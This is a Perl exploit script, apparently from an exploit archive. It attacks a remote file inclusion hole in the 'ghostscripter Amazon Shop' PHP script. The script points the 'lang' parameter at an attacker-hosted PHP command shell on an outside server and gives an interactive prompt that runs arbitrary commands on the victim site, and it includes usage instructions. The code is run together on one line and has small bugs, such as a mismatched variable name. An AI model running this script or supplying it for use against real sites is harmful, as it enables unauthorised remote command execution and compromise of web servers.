Home / os / win10

ghostscripter-rfi.txt

Posted on 05 March 2009

#!/usr/bin/perl # #ghostscripter Amazon Shop Remote File Include Exploit #Script :http://ghostscripter.com/amazon_shop.php #Original Advisory:http://www.milw0rm.com/exploits/8145 #By d3b4g #Mail:bl4ckend [at]gmail.com # use LWP::UserAgent; $my_Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($my_Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv){usage()} head(); while() { print "[shell] $"; while(<STDIN>) { $cmd=$_; chomp($cmd); $sploit = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'index.php?lang='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die " Could Not connect "; $res = $sploit->request($req); $return = $res->content; $return =~ tr/[ ]/[....]/; if (!$cmd) {print " Please Enter a Command "; $return ="";} elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a that command in <b>/) {print " Could Not Connect to cmd Host or Invalid Command Variable ";exit} elsif ($return =~/^<br./>.<b>Fatal.error/) {print " Invalid Command or No Return "} if($return =~ /(.*)/) { $lolreturn = $1; $lolreturn=~ tr/[....]/[ ]/; print " $lolreturn "; last; } else {print "[shell] $";}}}last; sub head() { print " +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "; print " ghostscripter Amazon Shop Remote File Include Exploit "; print " Exploited by d3b4g "; print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "; } sub usage() { head(); print " Usage: Amazon Shop.pl [target] [cmd shell location] [cmd shell variable] "; print " <Site> - Full path to Amazon Shop script ex: http://www.site.com/ "; print " <cmd shell> - Path to cmd Shell ex. http://www.shellzsite.com/cmd.txt "; print " <cmd variable> - Command variable used in php shell "; print "--------------------------------------------------------------------------- "; print " By bl4ckend[at]Gmail.com "; print "--------------------------------------------------------------------------- "; exit(); }

 

TOP

Malware :